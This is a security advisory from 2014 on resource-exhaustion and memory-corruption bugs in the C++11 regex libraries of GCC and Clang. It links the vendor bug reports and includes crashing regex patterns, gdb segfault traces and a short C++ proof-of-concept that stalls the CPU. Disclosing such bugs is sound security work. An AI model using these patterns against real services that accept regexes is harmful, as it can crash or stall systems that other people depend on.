C++11 <regex> insecure by default

[submit@xxxxxxxxx]

C++11 <regex> insecure by default
http://cxsecurity.com/issue/WLB-2014070187


--- 0 Description ---
In this article I will present a conclusion of testing the new 'objective 
regex' in several implementation of standard c++ library like libcxx (clang) 
and stdlibc++ (gcc). The results show the weakness in official supported 
implementations. Huge complexity and memory exhaustion were well known in most 
of libc libraries. Theoretical the new c++11 <regex> eliminate resource 
exhaustion by specifying special limits preventing for evil patterns. 
In glibc there was the conviction that for the safety of use regcomp() respond 
vendor using regex implementation. However, it is difficult to do the parser of 
regular expression in clients applications and others remote affected. The 
exceptions support for regex errors looks very promising. Let's see some part 
of documentation std::regex_error

-std::regex_constants::error_type-----------------------
error_space      
there was not enough memory to convert the expression into a finite state 
machine

error_complexity
the complexity of an attempted match exceeded a predefined level

error_stack
there was not enough memory to perform a match
-std::regex_constants::error_type-----------------------

error_complexity looks promising but which the value of level complexity is the 
best'? There is many interpretations between usability and security. In 
security aspect this level should be low for to keep real time execution. In 
contrast to the static code analysis where execution time is not so important. 
The other constants like error_space and error_stack are also interesting in 
security view. 
After official release for stdlibc++ <regex> in GCC 4.9.0 I have decided check 
this implementation. To prove that these limits do not fulfill their role, I 
reported below issues

GCC:
libstdc++ C++11 regex resource exhaustion
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601
libstdc++ C++11 regex memory corruption
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582

CLANG:
libcxx C++11 regex cpu resource exhaustion 
http://llvm.org/bugs/show_bug.cgi?id=20291

In my observation libc++ wins in performance. Only problem with error 
complexity reported. In ticket #20291 we are searching answer for default 
pre-set level value. However for each use can be personal. GCC has fixed most 
dangerous issues before releasing official version 4.9.0 where <regex> is 
supported. Anyway stack overflow still occurs in last regex implementation.


--- 0.1 GCC before 4.9 Memory corruption ---
# ./c11RE '(|'
Segmentation fault (core dumped)


--- 0.2 GCC 4.9 Memory corruption ---
(gdb) r '((.*)()?*{100})'
Starting program: /home/cx/REstd11/kozak5/./c11re '((.*)()?*{100})'

Program received signal SIGSEGV, Segmentation fault.
0x0000000000402f15 in std::_Bit_reference::operator bool() const


--- 0.3 GCC Trunk Stack Overflow ---
Starting program: /home/cx/REtrunk/kozak5/t3 '(.*{100}{300})'

Program received signal SIGSEGV, Segmentation fault.
0x000000000040c22a in std::__detail::_Executor<char const*, 
std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, 
true>::_M_dfs(std::__detail::_Executor<char const*, 
std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, 
true>::_Match_mode, long) ()


--- 0.4 CLANG CPU Exhaustion PoC ---
#include <iostream>
#include <regex> 
#include <string>

using namespace std;

int main() {
    try {
        regex r("(.*(.*){999999999999999999999999999999999})", 
regex_constants::extended);
        smatch results;
        string test_str = 
"|||||||||||||||||||||||||||||||||||||||||||||||||||||||";
        if (regex_search(test_str, results, r))
            cout << results.str() << endl;
        else
            cout << "no match";
    } catch (regex_error &e) {
        cout << "extended: what: " << e.what() << "; code: " << e.code() << 
endl;
    }
    
    return 0;
}
--- CLANG CPU Exhaustion ---


--- 1 Conclusion ---
I think It's dangerous situation what may have a bearing on the quality similar 
to the glibc <regex.h>.  Maybe only a new type of extended regular expressions 
provide safety? It's good moment to start discussion about of safety regex in 
new c++.


--- 2 References ---
libstdc++ C++11 regex resource exhaustion
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601
libstdc++ C++11 regex memory corruption
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582
libcxx C++11 regex cpu resource exhaustion 
http://llvm.org/bugs/show_bug.cgi?id=20291
GCC 4.9 Release Series New Features
https://gcc.gnu.org/gcc-4.9/changes.html


--- 3 Thanks ---
gcc and clang support and KacperR


--- 4 About ---
Author:
Maksymilian Arciemowicz

Contact:
http://cxsecurity.com/wlb/add/